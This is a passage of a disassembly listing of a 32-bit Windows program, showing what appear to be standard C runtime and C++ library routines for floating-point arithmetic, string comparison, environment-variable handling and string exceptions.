sub_421DAE+1Cj ... xor eax, eax loc_421E27: ; CODE XREF: sub_421DAE+75j pop edi pop esi pop ebx retn sub_421DAE endp ; =============== S U B R O U T I N E ======================================= sub_421E2B proc near ; CODE XREF: sub_4211F1+8Bp ; sub_4211F1+D9p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] push esi cmp eax, dword_4CEDE0 jnb short loc_421E92 mov ecx, eax and eax, 1Fh sar ecx, 5 mov ecx, dword_4CECE0[ecx*4] lea edx, [ecx+eax*8+4] mov cl, [ecx+eax*8+4] test cl, 1 jz short loc_421E92 mov al, cl mov esi, 8000h and eax, 80h cmp [esp+4+arg_4], esi jnz short loc_421E6B and cl, 7Fh jmp short loc_421E78 ; --------------------------------------------------------------------------- loc_421E6B: ; CODE XREF: sub_421E2B+39j cmp [esp+4+arg_4], 4000h jnz short loc_421E86 or cl, 80h loc_421E78: ; CODE XREF: sub_421E2B+3Ej neg eax sbb eax, eax mov [edx], cl and ax, 0C000h add eax, esi pop esi retn ; --------------------------------------------------------------------------- loc_421E86: ; CODE XREF: sub_421E2B+48j mov dword_4CD9B4, 16h jmp short loc_421E9C ; --------------------------------------------------------------------------- loc_421E92: ; CODE XREF: sub_421E2B+Bj ; sub_421E2B+27j mov dword_4CD9B4, 9 loc_421E9C: ; CODE XREF: sub_421E2B+65j or eax, 0FFFFFFFFh pop esi retn sub_421E2B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_421EA1 proc near ; CODE XREF: sub_4219A9+165p ; sub_4220C1+69p var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 24h push ebx mov ebx, [ebp+arg_4] push esi mov esi, [ebp+arg_0] mov cx, [ebx+0Ah] xor eax, eax push edi mov [ebp+var_14], eax mov [ebp+var_24], eax mov [ebp+var_20], eax mov [ebp+var_1C], eax mov ax, [esi+0Ah] mov edi, ecx mov edx, 7FFFh xor edi, eax and eax, edx and ecx, edx and edi, 8000h cmp ax, 7FFFh lea edx, [ecx+eax] mov [ebp+arg_0], edx jnb loc_4220A1 cmp cx, 7FFFh jnb loc_4220A1 cmp dx, 0BFFDh ja loc_4220A1 cmp dx, 3FBFh ja short loc_421F0A xor eax, eax jmp short loc_421F44 ; --------------------------------------------------------------------------- loc_421F0A: ; CODE XREF: sub_421EA1+63j test ax, ax mov edx, 7FFFFFFFh jnz short loc_421F2C inc [ebp+arg_0] test [esi+8], edx jnz short loc_421F2C xor eax, eax cmp [esi+4], eax jnz short loc_421F2E cmp [esi], eax jnz short loc_421F2E jmp loc_42209B ; --------------------------------------------------------------------------- loc_421F2C: ; CODE XREF: sub_421EA1+71j ; sub_421EA1+79j xor eax, eax loc_421F2E: ; CODE XREF: sub_421EA1+80j ; sub_421EA1+84j cmp cx, ax jnz short loc_421F51 inc [ebp+arg_0] test [ebx+8], edx jnz short loc_421F51 cmp [ebx+4], eax jnz short loc_421F51 cmp [ebx], eax jnz short loc_421F51 loc_421F44: ; CODE XREF: sub_421EA1+67j mov [esi+8], eax mov [esi+4], eax mov [esi], eax jmp loc_4220BC ; --------------------------------------------------------------------------- loc_421F51: ; CODE XREF: sub_421EA1+90j ; sub_421EA1+98j ... mov [ebp+var_10], eax lea eax, [ebp+var_20] mov [ebp+var_4], eax mov [ebp+arg_4], 5 loc_421F61: ; CODE XREF: sub_421EA1+122j mov eax, [ebp+var_10] add eax, eax cmp [ebp+arg_4], 0 jle short loc_421FB5 add eax, esi lea ecx, [ebx+8] mov [ebp+var_8], eax mov eax, [ebp+arg_4] mov [ebp+var_C], ecx mov [ebp+var_18], eax loc_421F7D: ; CODE XREF: sub_421EA1+112j mov eax, [ebp+var_8] mov ecx, [ebp+var_C] movzx eax, word ptr [eax] movzx ecx, word ptr [ecx] imul eax, ecx mov ecx, [ebp+var_4] add ecx, 0FFFFFFFCh push ecx push eax push dword ptr [ecx] call sub_421337 add esp, 0Ch test eax, eax jz short loc_421FA8 mov eax, [ebp+var_4] inc word ptr [eax] loc_421FA8: ; CODE XREF: sub_421EA1+FFj add [ebp+var_8], 2 sub [ebp+var_C], 2 dec [ebp+var_18] jnz short loc_421F7D loc_421FB5: ; CODE XREF: sub_421EA1+C9j add [ebp+var_4], 2 inc [ebp+var_10] dec [ebp+arg_4] cmp [ebp+arg_4], 0 jg short loc_421F61 add [ebp+arg_0], 0C002h cmp word ptr [ebp+arg_0], 0 jle short loc_421FF8 loc_421FD3: ; CODE XREF: sub_421EA1+14Ej test byte ptr [ebp+var_1C+3], 80h jnz short loc_421FF1 lea eax, [ebp+var_24] push eax call sub_4213B6 add [ebp+arg_0], 0FFFFh pop ecx cmp word ptr [ebp+arg_0], 0 jg short loc_421FD3 loc_421FF1: ; CODE XREF: sub_421EA1+136j cmp word ptr [ebp+arg_0], 0 jg short loc_422031 loc_421FF8: ; CODE XREF: sub_421EA1+130j add [ebp+arg_0], 0FFFFh cmp word ptr [ebp+arg_0], 0 jge short loc_422031 movsx eax, word ptr [ebp+arg_0] neg eax add [ebp+arg_0], eax mov ebx, eax loc_422011: ; CODE XREF: sub_421EA1+184j test byte ptr [ebp+var_24], 1 jz short loc_42201A inc [ebp+var_14] loc_42201A: ; CODE XREF: sub_421EA1+174j lea eax, [ebp+var_24] push eax call sub_4213E4 dec ebx pop ecx jnz short loc_422011 cmp [ebp+var_14], 0 jz short loc_422031 or byte ptr [ebp+var_24], 1 loc_422031: ; CODE XREF: sub_421EA1+155j ; sub_421EA1+163j ... cmp word ptr [ebp+var_24], 8000h ja short loc_422048 mov eax, [ebp+var_24] and eax, 1FFFFh cmp eax, 18000h jnz short loc_42207D loc_422048: ; CODE XREF: sub_421EA1+196j cmp [ebp+var_24+2], 0FFFFFFFFh jnz short loc_42207A and [ebp+var_24+2], 0 cmp [ebp+var_20+2], 0FFFFFFFFh jnz short loc_422075 and [ebp+var_20+2], 0 cmp word ptr [ebp+var_1C+2], 0FFFFh jnz short loc_42206F inc [ebp+arg_0] mov word ptr [ebp+var_1C+2], 8000h jmp short loc_42207D ; --------------------------------------------------------------------------- loc_42206F: ; CODE XREF: sub_421EA1+1C1j inc word ptr [ebp+var_1C+2] jmp short loc_42207D ; --------------------------------------------------------------------------- loc_422075: ; CODE XREF: sub_421EA1+1B5j inc [ebp+var_20+2] jmp short loc_42207D ; --------------------------------------------------------------------------- loc_42207A: ; CODE XREF: sub_421EA1+1ABj inc [ebp+var_24+2] loc_42207D: ; CODE XREF: sub_421EA1+1A5j ; sub_421EA1+1CCj ... mov eax, [ebp+arg_0] cmp ax, 7FFFh jnb short loc_4220A1 mov cx, word ptr [ebp+var_24+2] or eax, edi mov [esi], cx mov ecx, [ebp+var_20] mov [esi+2], ecx mov ecx, [ebp+var_1C] mov [esi+6], ecx loc_42209B: ; CODE XREF: sub_421EA1+86j mov [esi+0Ah], ax jmp short loc_4220BC ; --------------------------------------------------------------------------- loc_4220A1: ; CODE XREF: sub_421EA1+42j ; sub_421EA1+4Dj ... neg di sbb edi, edi and dword ptr [esi+4], 0 and edi, 80000000h add edi, 7FFF8000h and dword ptr [esi], 0 mov [esi+8], edi loc_4220BC: ; CODE XREF: sub_421EA1+ABj ; sub_421EA1+1FEj pop edi pop esi pop ebx leave retn sub_421EA1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4220C1 proc near ; CODE XREF: sub_4214D8+440p ; sub_4219A9+14Cp var_C = byte ptr -0Ch var_A = dword ptr -0Ah arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 0Ch push ebx mov ebx, offset dword_436760 xor ecx, ecx sub ebx, 60h cmp [ebp+arg_4], ecx jz short loc_42213A jge short loc_4220E9 mov eax, [ebp+arg_4] mov ebx, offset dword_4368C0 neg eax mov [ebp+arg_4], eax sub ebx, 60h loc_4220E9: ; CODE XREF: sub_4220C1+16j cmp [ebp+arg_8], ecx jnz short loc_4220F4 mov eax, [ebp+arg_0] mov [eax], cx loc_4220F4: ; CODE XREF: sub_4220C1+2Bj cmp [ebp+arg_4], ecx jz short loc_42213A push esi push edi loc_4220FB: ; CODE XREF: sub_4220C1+75j mov eax, [ebp+arg_4] add ebx, 54h sar [ebp+arg_4], 3 and eax, 7 cmp eax, ecx jz short loc_422133 lea eax, [eax+eax*2] cmp word ptr [ebx+eax*4], 8000h lea esi, [ebx+eax*4] jb short loc_422126 lea edi, [ebp+var_C] movsd movsd movsd dec [ebp+var_A] lea esi, [ebp+var_C] loc_422126: ; CODE XREF: sub_4220C1+57j push esi push [ebp+arg_0] call sub_421EA1 pop ecx pop ecx xor ecx, ecx loc_422133: ; CODE XREF: sub_4220C1+49j cmp [ebp+arg_4], ecx jnz short loc_4220FB pop edi pop esi loc_42213A: ; CODE XREF: sub_4220C1+14j ; sub_4220C1+36j pop ebx leave retn sub_4220C1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42213D proc near ; CODE XREF: sub_421DAE+5Ep ; sub_422619+18p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp cmp [ebp+arg_8], 0 jnz short loc_42214A xor eax, eax pop ebp retn ; --------------------------------------------------------------------------- loc_42214A: ; CODE XREF: sub_42213D+7j push dword_4CEDE4 push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_8] push [ebp+arg_0] push 1 push dword_4CF004 call sub_4221EA add esp, 1Ch test eax, eax jnz short loc_422177 mov eax, 7FFFFFFFh pop ebp retn ; --------------------------------------------------------------------------- loc_422177: ; CODE XREF: sub_42213D+31j add eax, 0FFFFFFFEh pop ebp retn sub_42213D endp ; =============== S U B R O U T I N E ======================================= sub_42217C proc near ; CODE XREF: sub_421DAE+1Ep ; sub_422492+5Bp var_4 = dword ptr -4 push ecx push ebx push ebp push esi mov esi, dword_4CD9E4 push edi xor edi, edi mov eax, [esi] cmp eax, edi jz short loc_4221DD mov ebx, dword_424150 loc_422195: ; CODE XREF: sub_42217C+5Fj push edi push edi push edi push edi push 0FFFFFFFFh push eax push edi push 1 call ebx mov ebp, eax cmp ebp, edi jz short loc_4221E5 push ebp call sub_417B89 cmp eax, edi pop ecx mov [esp+14h+var_4], eax jz short loc_4221E5 push edi push edi push ebp push eax push 0FFFFFFFFh push dword ptr [esi] push edi push 1 call ebx test eax, eax jz short loc_4221E5 push edi push [esp+18h+var_4] call sub_422492 mov eax, [esi+4] add esi, 4 pop ecx cmp eax, edi pop ecx jnz short loc_422195 loc_4221DD: ; CODE XREF: sub_42217C+11j xor eax, eax loc_4221DF: ; CODE XREF: sub_42217C+6Cj pop edi pop esi pop ebp pop ebx pop ecx retn ; --------------------------------------------------------------------------- loc_4221E5: ; CODE XREF: sub_42217C+29j ; sub_42217C+38j ... or eax, 0FFFFFFFFh jmp short loc_4221DF sub_42217C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4221EA proc near ; CODE XREF: sub_42213D+27p var_3C = dword ptr -3Ch var_36 = byte ptr -36h var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_424C88 push offset sub_41F774 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 30h push ebx push esi push edi mov [ebp+var_18], esp xor ebx, ebx cmp dword_4CDCA0, ebx push 1 pop edi jnz short loc_42225D push edi mov eax, offset dword_4248D8 push eax push edi push eax push ebx push ebx nop call near ptr 25C0000h test eax, eax jz short loc_42223A mov dword_4CDCA0, edi jmp short loc_42225D ; --------------------------------------------------------------------------- loc_42223A: ; CODE XREF: sub_4221EA+46j push edi mov eax, offset dword_436EF4 push eax push edi push eax push ebx push ebx nop call near ptr 25C0620h test eax, eax jz loc_422453 mov dword_4CDCA0, 2 loc_42225D: ; CODE XREF: sub_4221EA+31j ; sub_4221EA+4Ej mov esi, [ebp+arg_C] cmp esi, ebx jle short loc_422274 push esi push [ebp+arg_8] call sub_422467 pop ecx pop ecx mov esi, eax mov [ebp+arg_C], esi loc_422274: ; CODE XREF: sub_4221EA+78j cmp [ebp+arg_14], ebx jle short loc_422289 push [ebp+arg_14] push [ebp+arg_10] call sub_422467 pop ecx pop ecx mov [ebp+arg_14], eax loc_422289: ; CODE XREF: sub_4221EA+8Dj mov eax, dword_4CDCA0 cmp eax, 2 jnz short loc_4222AE push [ebp+arg_14] push [ebp+arg_10] push esi push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] nop call near ptr 25C0620h jmp loc_422455 ; --------------------------------------------------------------------------- loc_4222AE: ; CODE XREF: sub_4221EA+A7j cmp eax, edi jnz loc_422453 cmp [ebp+arg_18], ebx jnz short loc_4222C3 mov eax, dword_4CDA58 mov [ebp+arg_18], eax loc_4222C3: ; CODE XREF: sub_4221EA+CFj cmp esi, ebx jz short loc_4222D0 cmp [ebp+arg_14], ebx jnz loc_422368 loc_4222D0: ; CODE XREF: sub_4221EA+DBj cmp esi, [ebp+arg_14] jnz short loc_4222DD loc_4222D5: ; CODE XREF: sub_4221EA+13Cj ; sub_4221EA+16Dj push 2 loc_4222D7: ; CODE XREF: sub_4221EA+146j pop eax jmp loc_422455 ; --------------------------------------------------------------------------- loc_4222DD: ; CODE XREF: sub_4221EA+E9j cmp [ebp+arg_14], edi jle short loc_4222E9 loc_4222E2: ; CODE XREF: sub_4221EA+151j ; sub_4221EA+159j ... mov eax, edi jmp loc_422455 ; --------------------------------------------------------------------------- loc_4222E9: ; CODE XREF: sub_4221EA+F6j cmp esi, edi jg short loc_42232E lea eax, [ebp+var_3C] push eax push [ebp+arg_18] call near ptr 2881305h nop test eax, eax jz loc_422453 cmp esi, ebx jle short loc_422332 cmp [ebp+var_3C], 2 jb short loc_42232E lea eax, [ebp+var_36] cmp [ebp+var_36], bl jz short loc_42232E loc_422314: ; CODE XREF: sub_4221EA+142j mov dl, [eax+1] cmp dl, bl jz short loc_42232E mov ecx, [ebp+arg_8] mov cl, [ecx] cmp cl, [eax] jb short loc_422328 cmp cl, dl jbe short loc_4222D5 loc_422328: ; CODE XREF: sub_4221EA+138j inc eax inc eax cmp [eax], bl jnz short loc_422314 loc_42232E: ; CODE XREF: sub_4221EA+101j ; sub_4221EA+120j ... push 3 jmp short loc_4222D7 ; --------------------------------------------------------------------------- loc_422332: ; CODE XREF: sub_4221EA+11Aj cmp [ebp+arg_14], ebx jle short loc_422368 cmp [ebp+var_3C], 2 jb short loc_4222E2 lea eax, [ebp+var_36] cmp [ebp+var_36], bl jz short loc_4222E2 loc_422345: ; CODE XREF: sub_4221EA+177j mov dl, [eax+1] cmp dl, bl jz short loc_4222E2 mov ecx, [ebp+arg_10] mov cl, [ecx] cmp cl, [eax] jb short loc_42235D cmp cl, dl jbe loc_4222D5 loc_42235D: ; CODE XREF: sub_4221EA+169j inc eax inc eax cmp [eax], bl jnz short loc_422345 jmp loc_4222E2 ; --------------------------------------------------------------------------- loc_422368: ; CODE XREF: sub_4221EA+E0j ; sub_4221EA+14Bj push ebx push ebx push esi push [ebp+arg_8] push 9 push [ebp+arg_18] nop call near ptr 2630000h mov [ebp+var_1C], eax cmp eax, ebx jz loc_422453 mov [ebp+var_4], ebx add eax, eax add eax, 3 and al, 0FCh call sub_417B30 mov [ebp+var_18], esp mov eax, esp mov [ebp+var_24], eax or [ebp+var_4], 0FFFFFFFFh jmp short loc_4223B7 ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] xor ebx, ebx mov [ebp+var_24], ebx or [ebp+var_4], 0FFFFFFFFh mov esi, [ebp+arg_C] push 1 pop edi loc_4223B7: ; CODE XREF: sub_4221EA+1B5j cmp [ebp+var_24], ebx jz loc_422453 push [ebp+var_1C] push [ebp+var_24] push esi push [ebp+arg_8] push edi push [ebp+arg_18] mov esi, dword_424070 call esi test eax, eax jz short loc_422453 push ebx push ebx push [ebp+arg_14] push [ebp+arg_10] push 9 push [ebp+arg_18] call esi mov esi, eax mov [ebp+var_20], esi cmp esi, ebx jz short loc_422453 mov [ebp+var_4], edi lea eax, [esi+esi] add eax, 3 and al, 0FCh call sub_417B30 mov [ebp+var_18], esp mov edi, esp mov [ebp+var_28], edi or [ebp+var_4], 0FFFFFFFFh jmp short loc_422422 ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] xor ebx, ebx xor edi, edi or [ebp+var_4], 0FFFFFFFFh mov esi, [ebp+var_20] loc_422422: ; CODE XREF: sub_4221EA+224j cmp edi, ebx jz short loc_422453 push esi push edi push [ebp+arg_14] push [ebp+arg_10] push 1 push [ebp+arg_18] nop call near ptr 2630000h test eax, eax jz short loc_422453 push esi push edi push [ebp+var_1C] push [ebp+var_24] push [ebp+arg_4] push [ebp+arg_0] nop call near ptr 25C0000h jmp short loc_422455 ; --------------------------------------------------------------------------- loc_422453: ; CODE XREF: sub_4221EA+63j ; sub_4221EA+C6j ... xor eax, eax loc_422455: ; CODE XREF: sub_4221EA+BFj ; sub_4221EA+EEj ... lea esp, [ebp-4Ch] mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn sub_4221EA endp ; =============== S U B R O U T I N E ======================================= sub_422467 proc near ; CODE XREF: sub_41E709+81p ; sub_4221EA+7Ep ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov edx, [esp+arg_4] mov eax, [esp+arg_0] test edx, edx push esi lea ecx, [edx-1] jz short loc_422484 loc_422477: ; CODE XREF: sub_422467+1Bj cmp byte ptr [eax], 0 jz short loc_422484 inc eax mov esi, ecx dec ecx test esi, esi jnz short loc_422477 loc_422484: ; CODE XREF: sub_422467+Ej ; sub_422467+13j cmp byte ptr [eax], 0 pop esi jnz short loc_42248F sub eax, [esp+arg_0] retn ; --------------------------------------------------------------------------- loc_42248F: ; CODE XREF: sub_422467+21j mov eax, edx retn sub_422467 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_422492 proc near ; CODE XREF: sub_42217C+50p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ecx push ebx push esi push edi xor edi, edi cmp [ebp+arg_0], edi jz short loc_4224F6 push 3Dh push [ebp+arg_0] call sub_4226D8 mov esi, eax pop ecx cmp esi, edi pop ecx mov [ebp+var_8], esi jz short loc_4224F6 cmp [ebp+arg_0], esi jz short loc_4224F6 mov eax, dword_4CD9DC xor ebx, ebx cmp [esi+1], bl setz bl cmp eax, dword_4CD9E0 jnz short loc_4224DC push eax call sub_422671 pop ecx mov dword_4CD9DC, eax loc_4224DC: ; CODE XREF: sub_422492+3Cj cmp eax, edi jnz short loc_422534 cmp [ebp+arg_4], edi jz short loc_4224FE cmp dword_4CD9E4, edi jz short loc_4224FE call sub_42217C test eax, eax jz short loc_422534 loc_4224F6: ; CODE XREF: sub_422492+Dj ; sub_422492+22j ... or eax, 0FFFFFFFFh loc_4224F9: ; CODE XREF: sub_422492+182j pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_4224FE: ; CODE XREF: sub_422492+51j ; sub_422492+59j cmp ebx, edi jnz loc_422612 push 4 call sub_417B89 cmp eax, edi pop ecx mov dword_4CD9DC, eax jz short loc_4224F6 mov [eax], edi cmp dword_4CD9E4, edi jnz short loc_422534 push 4 call sub_417B89 cmp eax, edi pop ecx mov dword_4CD9E4, eax jz short loc_4224F6 mov [eax], edi loc_422534: ; CODE XREF: sub_422492+4Cj ; sub_422492+62j ... sub esi, [ebp+arg_0] mov edi, dword_4CD9DC mov [ebp+var_4], edi push esi push [ebp+arg_0] call sub_422619 mov esi, eax pop ecx test esi, esi pop ecx jl short loc_422594 cmp dword ptr [edi], 0 jz short loc_422594 test ebx, ebx jz short loc_42258C push dword ptr [edi+esi*4] lea edi, [edi+esi*4] call sub_417C3B pop ecx loc_422566: ; CODE XREF: sub_422492+E2j cmp dword ptr [edi], 0 jz short loc_422576 mov eax, [edi+4] inc esi mov [edi], eax add edi, 4 jmp short loc_422566 ; --------------------------------------------------------------------------- loc_422576: ; CODE XREF: sub_422492+D7j mov eax, esi shl eax, 2 push eax push [ebp+var_4] call sub_41944F pop ecx test eax, eax pop ecx jz short loc_4225C6 jmp short loc_4225C1 ; --------------------------------------------------------------------------- loc_42258C: ; CODE XREF: sub_422492+C6j mov eax, [ebp+arg_0] mov [edi+esi*4], eax jmp short loc_4225C6 ; --------------------------------------------------------------------------- loc_422594: ; CODE XREF: sub_422492+BDj ; sub_422492+C2j test ebx, ebx jnz short loc_422612 test esi, esi jge short loc_42259E neg esi loc_42259E: ; CODE XREF: sub_422492+108j lea eax, ds:8[esi*4] push eax push edi call sub_41944F pop ecx test eax, eax pop ecx jz loc_4224F6 mov ecx, [ebp+arg_0] mov [eax+esi*4], ecx and dword ptr [eax+esi*4+4], 0 loc_4225C1: ; CODE XREF: sub_422492+F8j mov dword_4CD9DC, eax loc_4225C6: ; CODE XREF: sub_422492+F6j ; sub_422492+100j cmp [ebp+arg_4], 0 jz short loc_422612 push [ebp+arg_0] call sub_417AB0 inc eax inc eax push eax call sub_417B89 mov esi, eax pop ecx test esi, esi pop ecx jz short loc_422612 push [ebp+arg_0] push esi call sub_4179C0 mov eax, esi pop ecx sub eax, [ebp+arg_0] pop ecx add eax, [ebp+var_8] and byte ptr [eax], 0 inc eax neg ebx sbb ebx, ebx not ebx and ebx, eax push ebx push esi nop call near ptr 25B01CBh push esi call sub_417C3B pop ecx loc_422612: ; CODE XREF: sub_422492+6Ej ; sub_422492+104j ... xor eax, eax jmp loc_4224F9 sub_422492 endp ; =============== S U B R O U T I N E ======================================= sub_422619 proc near ; CODE XREF: sub_422492+B2p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi mov esi, dword_4CD9DC push edi mov eax, [esi] test eax, eax jz short loc_422654 mov edi, [esp+8+arg_4] loc_42262B: ; CODE XREF: sub_422619+39j push edi push eax push [esp+10h+arg_0] call sub_42213D add esp, 0Ch test eax, eax jnz short loc_42264A mov eax, [esi] mov al, [eax+edi] cmp al, 3Dh jz short loc_422664 test al, al jz short loc_422664 loc_42264A: ; CODE XREF: sub_422619+22j mov eax, [esi+4] add esi, 4 test eax, eax jnz short loc_42262B loc_422654: ; CODE XREF: sub_422619+Cj mov eax, esi sub eax, dword_4CD9DC sar eax, 2 neg eax loc_422661: ; CODE XREF: sub_422619+56j pop edi pop esi retn ; --------------------------------------------------------------------------- loc_422664: ; CODE XREF: sub_422619+2Bj ; sub_422619+2Fj mov eax, esi sub eax, dword_4CD9DC sar eax, 2 jmp short loc_422661 sub_422619 endp ; =============== S U B R O U T I N E ======================================= sub_422671 proc near ; CODE XREF: sub_422492+3Fp arg_0 = dword ptr 4 push edi mov edi, [esp+4+arg_0] xor ecx, ecx test edi, edi jnz short loc_422680 xor eax, eax pop edi retn ; --------------------------------------------------------------------------- loc_422680: ; CODE XREF: sub_422671+9j cmp dword ptr [edi], 0 lea eax, [edi+4] jz short loc_422692 loc_422688: ; CODE XREF: sub_422671+1Fj mov edx, [eax] inc ecx add eax, 4 test edx, edx jnz short loc_422688 loc_422692: ; CODE XREF: sub_422671+15j push ebx push ebp lea eax, ds:4[ecx*4] push esi push eax call sub_417B89 mov esi, eax pop ecx test esi, esi mov ebp, esi jnz short loc_4226B3 push 9 call sub_419CDA pop ecx loc_4226B3: ; CODE XREF: sub_422671+38j mov eax, [edi] mov ebx, edi loc_4226B7: ; CODE XREF: sub_422671+5Bj test eax, eax jz short loc_4226CE push eax add ebx, 4 call sub_42274B mov [esi], eax mov eax, [ebx] pop ecx add esi, 4 jmp short loc_4226B7 ; --------------------------------------------------------------------------- loc_4226CE: ; CODE XREF: sub_422671+48j and dword ptr [esi], 0 mov eax, ebp pop esi pop ebp pop ebx pop edi retn sub_422671 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4226D8 proc near ; CODE XREF: sub_422492+14p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp cmp dword_4CEDFC, 0 jnz short loc_4226F3 push [ebp+arg_4] push [ebp+arg_0] call sub_418F50 pop ecx pop ecx pop ebp retn ; --------------------------------------------------------------------------- loc_4226F3: ; CODE XREF: sub_4226D8+Aj mov ecx, [ebp+arg_0] loc_4226F6: ; CODE XREF: sub_4226D8+56j movzx ax, byte ptr [ecx] test ax, ax jz short loc_422739 movzx edx, al test byte_4CEF01[edx], 4 jz short loc_422725 mov dl, [ecx+1] inc ecx test dl, dl jz short loc_422730 movzx eax, ax movzx edx, dl shl eax, 8 or eax, edx cmp [ebp+arg_4], eax jz short loc_422734 jmp short loc_42272D ; --------------------------------------------------------------------------- loc_422725: ; CODE XREF: sub_4226D8+31j movzx edx, ax cmp [ebp+arg_4], edx jz short loc_422739 loc_42272D: ; CODE XREF: sub_4226D8+4Bj inc ecx jmp short loc_4226F6 ; --------------------------------------------------------------------------- loc_422730: ; CODE XREF: sub_4226D8+39j xor eax, eax pop ebp retn ; --------------------------------------------------------------------------- loc_422734: ; CODE XREF: sub_4226D8+49j lea eax, [ecx-1] pop ebp retn ; --------------------------------------------------------------------------- loc_422739: ; CODE XREF: sub_4226D8+25j ; sub_4226D8+53j movzx edx, ax mov eax, [ebp+arg_4] sub eax, edx neg eax sbb eax, eax not eax and eax, ecx pop ebp retn sub_4226D8 endp ; =============== S U B R O U T I N E ======================================= sub_42274B proc near ; CODE XREF: sub_40A7D7+21p ; sub_422671+4Ep arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] test esi, esi jz short loc_422772 push esi call sub_417AB0 inc eax push eax call sub_417B89 pop ecx test eax, eax pop ecx jz short loc_422772 push esi push eax call sub_4179C0 pop ecx pop ecx pop esi retn ; --------------------------------------------------------------------------- loc_422772: ; CODE XREF: sub_42274B+7j ; sub_42274B+1Aj xor eax, eax pop esi retn sub_42274B endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_422780 proc near ; CODE XREF: sub_422863+19p ; sub_42298A+19p arg_0 = dword ptr 4 push esi push [esp+4+arg_0] mov esi, ecx xor eax, eax mov [esi+4], eax mov [esi+8], eax mov [esi+0Ch], eax call sub_417AB0 pop ecx push eax push [esp+8+arg_0] mov ecx, esi call sub_4046A3 mov eax, esi pop esi retn 8 sub_422780 endp ; =============== S U B R O U T I N E ======================================= sub_4227AA proc near ; CODE XREF: ___:004227D5p ; sub_422858+6j ... push esi mov esi, ecx push 1 lea ecx, [esi+0Ch] mov dword ptr [esi], offset off_424CA4 call sub_404667 mov ecx, esi pop esi jmp sub_422BA6 sub_4227AA endp ; =============== S U B R O U T I N E ======================================= sub_4227C5 proc near ; DATA XREF: ___:00424CA8o ; ___:00424CB8o ... mov eax, [ecx+10h] test eax, eax jnz short locret_4227D1 mov eax, offset dword_424290 locret_4227D1: ; CODE XREF: sub_4227C5+5j retn sub_4227C5 endp ; --------------------------------------------------------------------------- loc_4227D2: ; DATA XREF: ___:off_424CA4o push esi mov esi, ecx call sub_4227AA test byte ptr [esp+8], 1 jz short loc_4227E8 push esi call sub_4182AF pop ecx loc_4227E8: ; CODE XREF: ___:004227DFj mov eax, esi pop esi retn 4 ; =============== S U B R O U T I N E ======================================= sub_4227EE proc near ; CODE XREF: sub_422863+29p mov eax, offset loc_423122 call sub_418290 push ecx push ecx push esi lea eax, [ebp-10h] mov esi, ecx push eax mov [ebp-14h], esi mov dword ptr [ebp-10h], offset dword_424CC0 call sub_422B1F push dword ptr [ebp+8] and dword ptr [ebp-4], 0 lea ecx, [esi+0Ch] mov dword ptr [esi], offset off_424CA4 call sub_4228A0 mov ecx, [ebp-0Ch] mov dword ptr [esi], offset off_424CB4 mov eax, esi pop esi mov large fs:0, ecx leave retn 4 sub_4227EE endp ; =============== S U B R O U T I N E ======================================= sub_42283C proc near ; DATA XREF: ___:off_424CB4o arg_0 = byte ptr 4 push esi mov esi, ecx call sub_422858 test [esp+4+arg_0], 1 jz short loc_422852 push esi call sub_4182AF pop ecx loc_422852: ; CODE XREF: sub_42283C+Dj mov eax, esi pop esi retn 4 sub_42283C endp ; =============== S U B R O U T I N E ======================================= sub_422858 proc near ; CODE XREF: sub_42283C+3p ; DATA XREF: ___:0042502Co mov dword ptr [ecx], offset off_424CB4 jmp sub_4227AA sub_422858 endp ; =============== S U B R O U T I N E ======================================= sub_422863 proc near ; CODE XREF: sub_404514+13p ; sub_4046D8+Ep mov eax, offset loc_423134 call sub_418290 sub esp, 30h lea eax, [ebp-0Dh] push eax push offset aInvalidStringP ; "invalid string position" lea ecx, [ebp-20h] call sub_422780 and dword ptr [ebp-4], 0 lea eax, [ebp-20h] push eax lea ecx, [ebp-3Ch] call sub_4227EE push offset dword_425028 lea eax, [ebp-3Ch] push eax call sub_422BC9 int 3 ; Trap to Debugger sub_422863 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_4228A0 proc near ; CODE XREF: sub_4227EE+32p ; sub_4228C0+32p ... arg_0 = dword ptr 4 push esi xor eax, eax push 